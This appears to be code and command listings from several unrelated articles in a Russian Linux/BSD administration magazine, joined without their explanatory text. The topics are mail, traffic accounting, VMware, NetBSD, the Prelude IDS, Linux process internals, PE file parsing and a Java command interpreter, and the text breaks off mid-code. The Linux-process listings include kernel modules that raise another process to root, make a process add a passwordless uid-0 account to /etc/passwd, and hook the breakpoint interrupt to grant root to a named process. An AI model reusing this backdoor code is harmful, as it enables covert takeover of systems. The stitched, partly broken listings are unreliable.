Архитектура Postfix Андрей Бешков echo "mail text" | mail tigrisha@unreal.net -s "test subject" Подсчет трафика с помощью NETAMS Кирилл Тихонов # tar xvfj iptables-1.2.9.tar.bz2 # cd iptables-1.2.9 # make KERNEL_DIR=/usr/src/linux # make install # make install-devel # tar xvfz netams-3.1.1801.tar.gz # cd netams-3.1.1801 # vi Makefile # make # cp src/netams /usr/local/bin # cp src/netamsctl /usr/local/bin # mysql –u root –p Enter password: mysql> create database netams; mysql> connect netams; mysql> grant SELECT,INSERT,DELETE,UPDATE,CREATE on netams.* to netamsuser; mysql> grant SELECT,INSERT,DELETE,UPDATE,CREATE on netams.* to netamsuser@localhost; mysql> connect mysql; mysql> set password for 'netamsuser'@'localhost'=password('passwd'); mysql> set password for 'netamsuser'@'%'=password('passwd'); mysql> flush privileges; mysql> exit debug none user name admin real-name Admin email root@localhost password 123 permit all service server 0 login any listen 20001 max-conn 6 # netams –ld telnet netams_host 20001 debug none user name admin real-name Admin email root@localhost password 123 permit all service server 0 login any listen 20001 max-conn 6 service processor 0 lookup-delay 10 policy acct name all-ip target ip restrict all pass local pass unit host name linux-gw ip 195.x.x.x acct-policy all-ip storage 1 all service storage 1 type mysql user netamsuser password passwd service data-source 1 type ip-traffic service html 1 path /var/www/localhost/netams run 1min client-pages all # netams $IPTABLES -t mangle -A POSTROUTING -p all -j QUEUE $IPTABLES -t mangle -A PREROUTING -p all -j QUEUE #NeTAMS version 3.1(1801.7) compiled by root@localhost #configuration built Thu Apr 1 09:25:23 2004 #begin #global variables configuration debug none user oid 01327B name admin real-name "Admin" crypted $1$$GmbL3iXOMZR57QuGDLv.L1 schedule oid 08FFFF time 1min- action "html" #services configuration service server 0 login any listen 20001 max-conn 6 service processor 0 lookup-delay 10 policy acct oid 036633 name all-ip target ip restrict all pass local pass unit host 022EB1 name linux-gw ip 195.x.x.x acct-policy all-ip storage 1 all service storage 1 type mysql user netamsuser password passwd service data-source 1 type ip-traffic service html 1 path /var/www/localhost/netams run 1min client-pages all VMWare со всеми удобствами Андрей Бешков # mount –t iso9660 /dev/cdrom /cdrom # cd /tmp # tar zxvf /cdrom/vmware-freebsd-tools.tar.gz # cd vmware-freebsd-tools # ./install.pl [tigrisha@tiger freeBSD]$ /usr/bin/vmware-mount.pl -p ./freeBSD.vmdk # /usr/bin/vmware-mount.pl ./Server2000_Enterprise.vmdk 1 /mnt/vmware # ll FreeBSD-бинарная совместимость с Linux Андрей Бешков # cd /usr/ports/emulators/linux_base # make install distclean linux_enable= "YES" options LINUX # brandelf -t Linux имя программы # rpm -i --dbpath /var/lib/rpm --root /usr/compat/linux --ignoreos ./ICAClient-7.00-1.i386.rpm # # cd /usr/ports/emulators/linux_devtools # make package order hosts, bind multi on Первые шаги в NetBSD Часть 1 Александр Байрак hostname=”you.host.name” defaultrouter=”x.x.x.x” ifconfig_zz=”x.x.x.x/xx” netmask x.x.x.x sshd=YES # useradd –g groupname –d /path/to/homedir –m –p yourpassword –s /path/to/shell username #pkg_add packagename.tar.gz #pkg_add ftp://ftp.netbsd.org/pub/NetBSD/packages/1.6.1 /i386/shells/bash-2.05.2.tgz # tar zxvpf pkgsrc.tar.gz –c /usr #cd /usr/pkgsrc/editors/ne #make install #make clean # tar zxvpf syssrc.tgz –c / # cp GENERIC newkernel config netbsd root on ? type ? apm0at mainbus0 ess* at =pnpbios? index ? com* at pnpbios? index ? lpt* at pnpbios? index ? pckbc* at pnpbios? index ? fdc* at pnpbios? index pckbc0 at isa? pckbd* at pckbc? pms* at pckbc? lpt0 at isa? port 0x378 irq 7 sd* at scsibus? target ? lun ? st* at scsibus? target ? lun ? cd* at scsibus? target ? lun ? ch* at scsibus? target ? lun ? ses* at scsibus? target ? lun ? ss* at scsibus? target ? lun ? uk* at scsibus? target ? lun ? cd* at atapibus? drive ? flags 0x0000 sd* at atapibus? drive ? flags 0x0000 st* at atapibus? drive ? flags 0x0000 uk* at atapibus? drive ? flags 0x0000 fdc0 at isa? port 0x3f0 irq 6 drq 2 spkr0 at pcppi? #config newkernel #cd ../compile/newkernel/ #make depend && make #cp /netbsd /netbsd.old #cp netbsd / #reboot netbsd.old –s #dmesg > dmesg.file #adjustkernel –mesg dmesg.file –outfile newkernel –file GENERIC pass in on proto icmp all pass out on proto icmp all pass in proto tcp from any to port = 22 pass out proto tcp from to any port = 22 pass in proto udp from any to port = 53 pass out proto udp from to any port = 53 Точка защиты Сергей Яремчук #mount /dev/hdd /mnt/cdrom Прелюдия для защиты Сергей Яремчук # gpg --keyserver wwwkeys.pgp.net --recv-keys 0x23D2FAC3 #make #make install LD_PRELOAD=/lib/libsafe.so.2 export LD_PRELOAD #tar xvzf libprelude-0-8-latest.tar.gz #cd libprelude #./configure #make #make install #PATH=$PATH:/usr/local/bin/ #export PATH #/usr/local/bin/prelude-manager-db-create.sh #prelude-manager --mysql --dbhost localhost --dbname prelude --dbuser prelude --dbpass xxxxxx [MySQL] # Host the database is listening on. dbhost = localhost; # Port the database is listening on. dbport = 3306; # Name of the database. dbname = prelude; # Username to be used to connect the database. dbuser = prelude; # Password used to connect the database. dbpass = xxxxxx; # manager-adduser # sensor-adduser -s <тип_сенсора> -m -u # sensor-adduser -s libsafe -m 127.0.0.1 -u 0 #sensor-adduser --sensorname samhain --uid 0 --manager-addr 192.168.1.20 # sensor-adduser -s prelude-nids -m 127.0.0.1 -u 0 # sensor-adduser -s prelude-lml -m 127.0.0.1 -u 0 # prelude-manager manager-addr = x.x.x.x:port || y.y.y.y && z.z.z.z # prelude-nids -i eth0 #groupadd prelude #adduser --no-create-home --disabled-password --quiet --ingroup prelude prelude # prelude-lml -u root # prelude-manager -d # prelude-lml -d # prelude-nids -i eth1 -d #! /usr/bin/perl # cd /var/www/htdocs/ # tar -xzvf /path/to/piwi-0-8-latest.tar.gz #chown -R nobody.nobody generated/ #chown -R wwwrun.nogroup generated/ #chown -R apache.apache generated/ # Database : # здесь выбираем используемую базу данных mysql или Pg $conf{'dbtype'} = 'mysql'; # имя раннее созданной базы данных $conf{'dbname'} = 'prelude'; # узел, где искать базу данных $conf{'dbhost'} = 'localhost'; # это для mysql, для PostgreSQL используйте 5432 $conf{'dbport'} = 3306; # (только для mysql) $conf{'dboptions'} = 'mysql_compression=1'; $conf{'dblogin'} = 'prelude'; $conf{'dbpasswd'} = 'хххххх'; Options +ExecCGI AddHandler cgi-script .pl PerlModule Apache::DBI SetHandler perl-script PerlHandler Apache::PerlRun PerlSendHeader On DirectoryIndex index.html index.htm index.pl # /etc/rc.d/apache2 restart Процессы в Linux Владимир Мешков #include #include #include #include #include int main() { pid_t pid; // идентификатор процесса int status; // код статуса завершения процесса /* При помощи fork cоздаем дочерний процесс */ switch(pid = fork()) { case -1: perror("fork"); return -1; case 0: printf("Выполняется дочерний процесс\n"); /* Код статуса завершения равен 4 */ exit(4); } printf("Выполняется родительский процесс\n"); printf("Идентификатор дочернего процесса - %d\n", pid); /* * Ждем завершения дочернего процесса * и обрабатываем код статуса завершения */ if((pid = waitpid(pid, &status, 0)) && WIFEXITED(status)) { printf("Дочерний процесс с PID = %d завершил выполнение\n", pid); printf("Код статуса завершения равен %d\n", WEXITSTATUS(status)); } return 0; } .... switch(pid = fork()) { case -1: perror("fork"); return -1; case 0: printf("Выполняется дочерний процесс\n"); execl("/bin/gzip", "gzip", "test.txt", 0); perror("gzip"); exit(errno); } .... #define TASK_RUNNING 0 #define TASK_INTERRUPTIBLE 1 #define TASK_UNINTERRUPTIBLE 2 #define TASK_ZOMBIE 4 #define TASK_STOPPED 8 struct fs_struct { atomic_t count; rwlock_t lock; int umask; struct dentry * root, * pwd, * altroot; struct vfsmount * rootmnt, * pwdmnt, * altrootmnt; }; /* * Open file table structure */ struct files_struct { atomic_t count; /* Protects all the below members */ /* Nests inside tsk->alloc_lock */ rwlock_t file_lock; int max_fds; int max_fdset; int next_fd; struct file ** fd; /* current fd array */ .... struct file * fd_array[NR_OPEN_DEFAULT]; }; struct signal_struct { atomic_t count; struct k_sigaction action[_NSIG]; spinlock_t siglock; }; struct k_sigaction { struct sigaction sa; }; struct sigaction { __sighandler_t sa_handler; unsigned long sa_flags; void (*sa_restorer)(void); sigset_t sa_mask; /* mask last for extensibility */ }; #define SIG_DFL ((__sighandler_t)0) /* default signal handling */ #define SIG_IGN ((__sighandler_t)1) /* ignore signal */ #define _NSIG 64 #define _NSIG_BPW 32 #define _NSIG_WORDS (_NSIG / _NSIG_BPW) typedef struct { unsigned long sig[_NSIG_WORDS]; } sigset_t; struct sigpending { struct sigqueue *head, **tail; sigset_t signal; }; /* Файл sfc.c */ #include #include #include #include #include #include static pid_t pid; // идентификатор создаваемого процесса int main () { pid = fork(); if (pid < 0) { perror("fork"); return -1; } if (pid == 0) { // дочерний процесс setsid(); // отсоединяемся от терминала start_daemon(); } return 0; } void start_daemon() { int i, out; sigset_t mask; static struct sigaction act; sigfillset(&mask); sigdelset(&mask, SIGUSR1); /* Блокируем все сигналы */ sigprocmask(SIG_SETMASK, &mask, NULL); /* Определяем новый обработчик для SIGUSR1 */ act.sa_handler = stop_daemon; sigaction(SIGUSR1, &act, NULL); /* Открываем исполняемый файл программы */ out = open("./sfc", O_RDONLY); if(out < 0) perror("open"); for(;;); } void stop_daemon() { exit(0); } # gcc -o sfc sfc.c # ./sfc # ps -ax | grep sfc 903 ? R 0:02 ./sfc /* Файл task.c */ #include #include #include #include #include #include struct task_struct * find_task_by_name(__u8 *name) { struct task_struct *p; for_each_task(p) if(strcmp(p->comm, name) == 0) return p; return 0; } #define for_each_task(p) \ for (p = &init_task ; (p = p->next_task) != &init_task ; ) static int __init task_on(void) { struct task_struct *p; int pid = 0; int i; p = find_task_by_name("sfc"); if(p) printk(KERN_INFO "PID - %d\n", p->pid); else { printk(KERN_INFO "No such task\n"); return 0; } pid = p->pid; p = find_task_by_pid(pid); printk(KERN_INFO "NAME - %s\n", p->comm); printk(KERN_INFO "STATE - %u\n", (u32)p->state); printk(KERN_INFO "START ADDRESS - 0x%08X\n", (u32)p->active_mm->mmap->vm_start); printk(KERN_INFO "END ADDRESS - 0%08X\n", (u32)p->active_mm->mmap->vm_end); printk(KERN_INFO "UID - %d\n", p->uid); printk(KERN_INFO "GID - %d\n", p->gid); printk(KERN_INFO "EUID - %d\n", p->euid); printk(KERN_INFO "EGID - %d\n", p->egid); printk(KERN_INFO "FSUID - %d\n", p->fsuid); printk(KERN_INFO "FSGID - %d\n", p->fsgid); printk(KERN_INFO "ROOT - %s\n", p->fs->root->d_name); printk(KERN_INFO "PWD - %s\n", p->fs->pwd->d_name); for(i = 0; i < p->files->next_fd; i++) printk(KERN_INFO "%s\n", p->files->fd[i]->f_dentry->d_name); for(i = 0; i < 31; i++) printk(KERN_INFO "%d - 0x%08X\n", i,(unsigned int)p->sig->action[i].sa.sa_handler); return 0; } static void __exit task_off(void) { return; } module_init(task_on); module_exit(task_off); .PHONY = clean CC = gcc CFLAGS = -O2 -Wall KERNELDIR = /usr/src/linux MODFLAGS = -D__KERNEL__ -DMODULE -I$(KERNELDIR)/include all: task.o task.o: task.c $(CC) $(CFLAGS) $(MODFLAGS) -c task.c clean: rm -f *.o *~ core #define SIGUSR1 10 # objdump -x ./sfc | grep stop_daemon 080484D8 g F .text 00000010 stop_daemon static int __init task_on(void) { struct task_struct *p; p = find_task_by_name("sfc"); if(p) printk(KERN_INFO "PID - %d\n", p->pid); else { printk(KERN_INFO "No such task\n"); return 0; } sigaddset(&p->pending.signal, SIGUSR1); p->sigpending = 1; // индикатор прихода сигнала return 0; } static __inline__ void sigaddset(sigset_t *set, int _sig) { __asm__("btsl %1,%0" : "=m"(*set) : "Ir"(_sig - 1) : "cc"); } void start_daemon() { sigset_t mask; sigfillset(&mask); /* Блокируем все сигналы */ sigprocmask(SIG_SETMASK, &mask, NULL); for(;;); } # gcc -o sfc sfc.c # objdump -x ./sfc | grep stop_daemon 08048434 g F .text 00000010 stop_daemon static int __init task_on(void) { struct task_struct *p; p = find_task_by_name("sfc"); if(p) printk(KERN_INFO "PID - %d\n", p->pid); else { printk(KERN_INFO "No such task\n"); return 0; } (unsigned int)p->sig->action[11].sa.sa_handler = 0x8048434; sigdelset(p->blocked.sig, SIGUSR2); sigaddset(&p->pending.signal, SIGUSR2); p->sigpending = 1; return 0; } static __inline__ void sigdelset(sigset_t *set, int _sig) { __asm__("btrl %1,%0" : "=m"(*set) : "Ir"(_sig - 1) : "cc"); } play1::0:0:,,,:/home/play1:/bin/bash void start_daemon() { sigset_t mask; static struct sigaction act; sigfillset(&mask); sigdelset(&mask, SIGUSR2); /* Block all signal */ sigprocmask(SIG_SETMASK, &mask, NULL); act.sa_handler = stop_daemon; sigaction(SIGUSR2, &act, NULL); for(;;); } void stop_daemon() { int psw; unsigned char *str = "play1::0:0:,,,:/home/play1:/bin/bash\n"; psw = open("/etc/passwd", O_APPEND|O_RDWR); if(psw < 0) goto out; if(write(psw, str, 37)) close(psw); out: exit(0); } static int __init task_on(void) { struct task_struct *p; printk(KERN_INFO "Current - %s\n", current->comm); p = find_task_by_name("sfc"); if(p) printk(KERN_INFO "PID - %d\n", p->pid); else { printk(KERN_INFO "No such task\n"); return 0; } p->fsuid = 0; p->fsgid = 0; sigaddset(&p->pending.signal, SIGUSR2); p->sigpending = 1; return 0; } if(strcmp(current->comm, "test") == 0) current->uid = 0; /* Файл task1.c */ #include #include #include #include #include // Прототип нового обработчика исключения #BP extern void my_stub(); // адрес таблицы IDT __u32 idt_addr = 0; // адрес старого обработчика исключения #BP __u32 old_handler = 0; // адрес функции, которая будет вызвана перед обработчиком // исключения #BP. __u32 new_handler = 0; struct descr_idt { __u16 off_low; __u16 sel; __u8 none, flags; __u16 off_high; } __attribute__ ((packed)); __u32 address = (__u32)(off_high << 16) | off_low); struct descr_idt *idt; struct { __u16 limit; // размер таблицы IDT __u32 base; // базовый адрес таблицы IDT } __attribute__ ((packed)) idtr; __u32 get_idt_addr() { __u32 idt_addr; asm ("sidt %0":"=m" (idtr)); idt_addr = idtr.base; return idt_addr; } void set_new_idt() { unsigned long flags; /* * Выделяем память для новой таблицы IDT и копируем в нее * содержимое старой таблицы: */ idt = (struct descr_idt *)kmalloc(255 * ї sizeof(struct descr_idt),GFP_KERNEL); memcpy((void *)idt, (void *)idt_addr, 255 * ї sizeof(struct descr_idt)); /* * В поле base структуры idtr заносим новое значение * базового адреса таблицы и загружаем его в регистр IDTR * инструкцией LIDT. */ idtr.base = (__u32)idt; __save_flags(flags); __cli(); __asm__("lidt %0"::"m" (idtr)); __restore_flags(flags); return; } void set_handler(int i, __u32 new_addr) { idt[i].off_high = (__u16)(new_addr >> 16); idt[i].off_low = (__u16)(new_addr & 0x0000FFFF); } __u32 get_handler(int i) { return((idt[i].off_high << 0x10) | idt[i].off_low); } sasmlinkage void my_handler() { if(strcmp(current->comm, "test") == 0) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; current->suid = 0; current->sgid = 0; current->fsuid = 0; current->fsgid = 0; printk(KERN_INFO "%s - EXCEPTION #BP occured!\n", current->comm); } return; } void stub() { __asm__ __volatile__ ( ".globl my_stub \n" ".align 4, 0x90 \n" "my_stub: \n" // новый обработчик! " call *%0 \n" " jmp *%1 " ::"m"(new_handler),"m"(old_handler)); } int init_module() { int i = 3; // номер исключения — Breakpoint (#BP) __u32 new_addr; // адрес нового обработчика исключения #BP /* * Считываем адрес таблицы IDT и формируем новую таблицу */ idt_addr = get_idt_addr(); printk(KERN_INFO "Old IDT address - 0x%08x\n",(__u32)(idt_addr)); set_new_idt(); printk(KERN_INFO "New IDT address - 0x%08x\n",(__u32)(idtr.base)); new_handler = (__u32)&my_handler; // адрес ф-ии my_handler /* * Сохраняем адрес старого обработчика #BP, определяем адрес * нового и производим замену адресов в новой таблице IDT */ old_handler = get_handler(i); new_addr = (__u32)&my_stub; set_handler(i, new_addr); return 0; } void cleanup_module() { unsigned long flags; /* * Заносим адрес таблицы IDT в поле base структуры idtr * а затем командой LIDT загружаем его в регистр IDTR */ idtr.base = (__u32)idt_addr; __save_flags(flags); __cli(); __asm__("lidt %0"::"m" (idtr)); __restore_flags(flags); /* * Освобождаем память, занятую новой таблицей IDT */ kfree(idt); printk(KERN_INFO "Old IDT address restore (0x%08x)\n",(__u32)(idtr.base)); return; } /* Файл test.c */ int main() { system("/bin/bash"); return 0; } Путь воина – внедрение в pe/coff-файлы Крис Касперски Листинг 1. Считыватель содержимого NumberOfSection // p – указатель на PE-заголовок #define xNumOfSec(p) (*((WORD*) (p+0x6))) Листинг 2. Макросы, возвращающие размер опционального заголовка, указатель на таблицу секций, вычисленный стандартным и альтернативным методами. В качестве входного аргумента все трое принимают указатель на первый байт PE-заголовка #define xopt_sz(p) (*((WORD*)(p + 0x14 /* size of optional header */))) #define pSectionTable(p) ((BYTE*)(xopt_sz(p)+0x18 /* size of image heafer */+p)) #define pSectionTable_alt(p) ((BYTE*)((*((DWORD*)(p+0x74)))*8 + 0x78 + p)) Листинг 3. Макросы для выравнивания с округлением «вниз» и «вверх» #define Is2power(x) (!(x & (x-1))) #define ALIGN_DOWN(x, align) (x & ~(align-1)) #define ALIGN_UP(x, align) ((x & (align-1))?ALIGN_DOWN(x,align)+align:x) Листинг 4. Макрос для вычисления реального размера страничного имиджа #define xImageSize(p) (*(DWORD*)(pLastSection(p) + 0xC /* va */) + ALIGN_UP(*(DWORD*)(pLastSection(p) + 0x8 /* v_sz */), xObjectAlign(p))) ((BYTE*) ((*((WORD*)(p + 0x14 /* size of optional header */)))+ 0x18 /* size of image header */ + p)) ((BYTE*) ( (*((DWORD*)(p+0x74 /* NumRVAandSize */)))*8 + 0x78 /* begin DATA_DIRECTOTY */+ p)) #define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER)((ULONG_PTR)ntheader + FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) + ((PIMAGE_NT_HEADERS)(ntheader))-> FileHeader.SizeOfOptionalHeader)) Листинг 5. Прототип структуры IMAGE_SECTION_HEADER typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; Листинг 6. Макросы, возвращающие указатели на IMAGE_SECTION_HEADER первой и последней секции файла #define xopt_sz(p) (*((WORD*)(p + 0x14 /* size of optional header */))) #define pSectionTable(p) ((BYTE*) (xopt_sz(p) + 0x18 /*sizeofimageheafer*/ + p)) #define pFirstSection(p) (pSectionTable(p)) #define pLastSection(p) (pSectionTable(p) + (xNumOfSec(p) - 1) * 40) Листинг 7. Прогулка по таблице секций с выводом ее содержимого на терминал a = xNumOfSec(p); pNextSection = pFirstSection(p); while(a--) { printf( "Name: %s\n"\ "\tVirtualSize : %04Xh RVA\n"\ "\tVirtualAddress : %04Xh RVA\n"\ "\tSizeOfRawData : %04Xh RVA\n"\ "\tPointerToRawData : %04Xh RVA\n"\ "\tPointerToRelocations : %04Xh RVA\n"\ "\tPointerToLinenumbers : %04Xh RVA\n"\ "\tNumberOfRelocations : %04Xh RVA\n"\ "\tNumberOfLinenumbers : %04Xh RVA\n\n", pNextSection, pNextSection[0x8], pNextSection[0xC], pNextSection[0x10], pNextSection[0x14], pNextSection[0x18], pNextSection[0x1C], pNextSection[0x20], pNextSection[0x14]); pNextSection+=40; // следующий элемент Section Table } Листинг 8. Экспорт по именам i = Search_ExportNamePointerTable (ExportName); ordinal = ExportOrdinalTable [i]; SymbolRVA = ExportAddressTable [ordinal - OrdinalBase]; Листинг 9. Простейший разбор таблицы экспорта // получаем указатель на PE p = *(DWORD*)(pBaseAddress + 0x3C /*e_lfanew */) + pBaseAddress; // получаем указатель на DATA_DIRECTORY pDATA_DIRECTORY = (DWORD*)(p + 0x78); // получаем указатель на экспорт pExport = pDATA_DIRECTORY[0] + pBaseAddress; // берем размер, но не проверяем xExport = pDATA_DIRECTORY[1]; // извлекаем сведения об основных структурах nameRVA = *(DWORD*) (pExport + 0xC) + pBaseAddress; ordinalBASE = *(DWORD*) (pExport + 0x10); addressTableEntries = *(DWORD*) (pExport + 0x14); numberOfNamePointers = *(DWORD*) (pExport + 0x18); exportAddressTableRVA = (DWORD*) (*(DWORD*) (pExport + 0x1C) + pBaseAddress); namePointerRVA = (DWORD*) (*(DWORD*) (pExport + 0x20) + pBaseAddress); ordinalTableRVA = (WORD* ) (*(DWORD*) (pExport + 0x24) + pBaseAddress); // распечатываем все имена/ординалы/адреса printf( "name ordinal/hint VirtualAddress Forward\n"\ "------------------------------------------\n"); for (a = 0; a < _MAX(addressTableEntries, numberOfNamePointers); a++) { // два вида обработки - по именам и по ординалам if (a < numberOfNamePointers) { // выделение индекса функций, экспортируемых по именам name = namePointerRVA[a] + pBaseAddress; f_index = ordinalTableRVA[a]; } else { // выделение индекса функций, экспортируемых только // по ординалам name = "n/a"; f_index = a; } // определение адреса функции f_address = (DWORD)(exportAddressTableRVA[f_index] + pBaseAddress); // поиск "разрывов" в таблице адресов if (f_address == pBaseAddress) continue; // определение оридинала ordinal = f_index + ordinalBASE; // поиск форвардов (если есть) if ((f_address > (DWORD) pExport) && (f_address < (DWORD) (pExport + xExport))) pForward = (BYTE*)f_address; else pForward = 0; // вывод результатов на терминал printf("%-30s [%03d/%03d] %08Xh %s\n", name, ordinal, a, f_address, (pForward)?pForward:""); } printf("==============================================\n"); Листинг 10. Прототип структуры IMAGE_IMPORT_DESCRIPTOR typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { // 0 for terminating null import descriptor DWORD Characteristics; // RVA to original unbound IAT DWORD OriginalFirstThunk; }; // 0 if not bound, -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new) // O.W. date/time stamp of DLL bound to (old) // -1 if no forwarders DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name; DWORD FirstThunk; // RVA to IAT } IMAGE_IMPORT_DESCRIPTOR; Листинг 11. Дампер таблицы импорта // ПЕЧАТАЕМ ТАБЛИЦУ ИМПОРТА n2k_print_IAT(DWORD* importLookupTable, DWORD* importAddressTable, BYTE* pBaseAddress) { DWORD lookup, hint, address; BYTE *name; char buf[MAX_BUF_SIZE]; name = "not pressent"; lookup = address = hint = 0; printf( " hint name/ordinal address\n"\ "--------------------------------------------\n"); while(1) // сканируем таблицу импорта, пока не встретим нуль { // извлекаем очередные элементы из loockup // и address таблиц if (importLookupTable) lookup = *importLookupTable++; if (importAddressTable) address = *importAddressTable++; if (!address) break; // это конец? if (importLookupTable) { // функция экспортируется по ординалу if (lookup & 0x80000000) { sprintf(buf,"#%d",lookup & ~0x80000000);name=buf;hint=0; } else // функция экспортируется по имени { name=(lookup+pBaseAddress+2); hint=*((WORD*)(lookup+pBaseAddress)); } } printf("[%04d] %-30s:%08Xh\n",hint, name, address); }printf("===============================================\n\n"); } // прогуливаемся по таблице импорта, выводя ее всю n2k_walk_idex(BYTE* pImport, BYTE* pBaseAddress) { int a; BYTE *nameRVA; DWORD *importLookupTable; DWORD *importAddressTable; // перебираем все таблицы дескрпиторов сколько их есть там... while(1) { // извлекаем основные параметры nameRVA =*(DWORD*)(pImport + 0x0C) + pBaseAddress; importLookupTable =(DWORD*)(*(DWORD*)(pImport+0x00)+pBaseAddress); importAddressTable =(DWORD*)(*(DWORD*)(pImport+0x10)+pBaseAddress); //printf("%s %x %x\n",nameRVA,importLookupTable,pBaseAddress); // переходим на следующий дескриптор pImport += 0x14 /* size of _IMAGE_IMPORT_DESCRIPTOR */; // это конец? if ((BYTE*)importLookupTable == pBaseAddress) break; // печатаем имя DLL printf("%s:\n",nameRVA); for(a=0;a> 12) == 3 ) *(DWORD*) ((TypeOffset[i] & ((1<<12)-1)) + pageRVA + (DWORD) pBaseAddress)+= ((DWORD) pBaseAddress - (DWORD)pPreferAddress) Листинг 18. Разбор таблицы перемещаемых элементов n2k_walk_reloc(BYTE* pReloc, BYTE *pBaseAddress, BYTE *pPreferAddress) { BYTE *pageRVA; DWORD a, blockSize, typeX, offsetX; // вычисляем дельту загрузки printf( "\ndelta := %08Xh\n"\ "==================\n\n", pBaseAddress - pPreferAddress); // перебираем все fixup блоки – один за другим while(1) { // вычисляем адрес начала страницы и размер блока pageRVA = (BYTE*)(*(DWORD*) pReloc); blockSize = *(DWORD*) (pReloc+4); if (!blockSize) break; // это конец? // распаковываем перемещаемые элементы, // вычисляя адреса корректируемых ячеек printf( "FIXUP BLOCK - pageRVA: %06Xh, size %06d bytes\n"\ "-------------------------------------\n", pageRVA, blockSize); for (a = 8; a < blockSize; a += 2) { // извлекаем тип fixup и смещение // относительно pageRVA typeX = (*(WORD*)(pReloc + a)) >> 12; offsetX = (*(WORD*)(pReloc + a)) & ((1<<12)-1); // обработка разных типов fixup switch(typeX) { case 0: printf("\tIMAGE_REL_BASED_ABSOLUTE\n"); break; case 3: printf("\tIMAGE_REL_BASED_HIGHLOW @ %08Xh --> %08Xh\n", offsetX + pPreferAddress, offsetX + pBaseAddress); break; default: printf("\t%x - not supported\n", typeX); break; } } printf("\n"); // берем следующий блок pReloc += blockSize; } } Простой интерпретатор командного языка Александр Фефелов команда [параметр1 [параметр2 ... [параметрN]]] public class CliError extends Exception { public CliError() { } public CliError(String msg) { super(msg); } } import java.util.*; import simplecli.error.*; public interface Command { String run(Properties context, ArrayList parameters) throws CliError; String getDescription(String name); String getHelp(String name); } import java.io.*; import java.util.*; import simplecli.command.*; import simplecli.error.*; abstract public class Interpreter { private Hashtable commands; private Properties context; public Hashtable getCommands() { return commands; } public Properties getContext() { return context; } public void setDelimiter(String delimiter) { this.delimiter = delimiter; } public String getDelimiter() { return delimiter; } public Interpreter() { context = new Properties(); initContext(context); commands = new Hashtable(); initCommands(commands); setDelimiter(" "); } abstract public void initContext(Properties context); abstract public void initCommands(Hashtable commands); public String interpretClause(String clause) throws UnknownCommandError, CliError { if (clause == null) { return null; } clause = clause.trim(); if (clause.length() == 0) { return null; } String[] tokens = tokenize(clause, getDelimiter()); ArrayList parameters = new ArrayList(); for (int i = 1; i < tokens.length; i++) { parameters.add(tokens[i]); } Command command = (Command) commands.get(tokens[0]); if (command == null) { throw new UnknownCommandError(tokens[0]); } return command.run(getContext(), parameters); } public String[] tokenize(String s, String d) { return s.split(d); } public void interpret(BufferedReader in, PrintWriter out, PrintWriter err) throws IOException { while (true) { String prompt = context.getProperty("$PROMPT"); if (prompt != null && prompt.length() > 0) { out.print(prompt); out.flush(); } String clause = in.readLine(); if (clause == null) { break; } String result = null; try { result = interpretClause(clause); } catch (CliError ce) { err.println(ce); if (mustStopOnError()) { break; } } if (result != null) { out.println(result); } if (mustQuit()) { break; } } } public boolean mustQuit() { String quit = context.getProperty("$QUIT"); if (quit == null) { return false; } if (quit.equals("yes") || quit.equals("true")) { return true; } else { return false; } } public boolean mustStopOnError() { String quit = context.getProperty("$STOPONERROR"); if (quit == null) { return true; } if (quit.equals("yes") || quit.equals("true")) { return true; } else { return false; } } import java.util.*; import simplecli.command.*; public class BaseInterpreter extends Interpreter { public void initContext(Properties context) { context.setProperty("$QUIT", "false"); context.setProperty("$STOPONERROR", "false"); context.setProperty("$PROMPT", ">"); } public void initCommands(Hashtable commands) { commands.put("exit", new ExitCommand()); commands.put("quit", new ExitCommand()); commands.put("bye", new ExitCommand()); commands.put("help", new HelpCommand(this)); commands.put("?", new HelpCommand(this)); commands.put("set", new SetCommand()); commands.put("register", new RegisterCommand(this)); commands.put("unregister", new UnregisterCommand(this)); } } package simplecli.command; import java.util.*; import simplecli.error.*; public class ExitCommand implements Command { public String run(Properties context, ArrayList parameters) throws SyntaxError { if (parameters.size() > 0) { throw new SyntaxError(); } context.setProperty("$QUIT", "yes"); return null; } public String getDescription(String name) { return "Exits current interpreter session."; } public String getHelp(String name) { return "Exits current interpreter session." + CRLF + "Syntax: " + name; } private final static String CRLF = System.getProperty("line.separator"); } package simplecli.command; import java.util.*; import simplecli.error.*; public class SetCommand implements Command { public String run(Properties context, ArrayList parameters) throws SyntaxError { switch (parameters.size()) { case 0: // Нет параметров - возвращаем список всех // переменных в контексте выполнения. StringBuffer sb = new StringBuffer(); Enumeration names = context.propertyNames(); while (names.hasMoreElements()) { String name = (String) names.nextElement(); String val = context.getProperty(name); sb.append(name + "=" + val); if (names.hasMoreElements()) { sb.append(CRLF); } } if (sb.length() > 0) { return sb.toString(); } else { return null; } case 1: // Один параметр - удаляем из контекста выполнения // переменную, указанную в качестве параметра. context.remove((String) parameters.get(0)); return null; case 2: // Два параметра - устанавливаем в контексте // выполнения переменную, указанную в качестве // первого параметра, в значение, указанное // в качестве второго параметра. context.setProperty((String) parameters.get(0), (String) parameters.get(1)); return null; default: throw new SyntaxError(); } } public String getDescription(String name) { return "Manages environment variables."; } public String getHelp(String name) { return "Manages environment variables." + CRLF + "Syntax: " + name + " [variable [value]]"; } private final static String CRLF = System.getProperty("line.separator"); } set $QUIT true package simplecli.command; import java.util.*; import simplecli.*; import simplecli.error.*; public class HelpCommand implements Command { public HelpCommand(Interpreter interpreter) { this.interpreter = interpreter; } public String run(Properties context, ArrayList parameters) throws SyntaxError, UnknownCommandError { switch (parameters.size()) { case 0: { // Нет параметров - возвращаем краткое описание // всех известных команд. StringBuffer sb = new StringBuffer(); Hashtable commands = interpreter.getCommands(); Enumeration names = commands.keys(); while (names.hasMoreElements()) { String name = (String) names.nextElement(); Command cmd = (Command) commands.get(name); String descr = 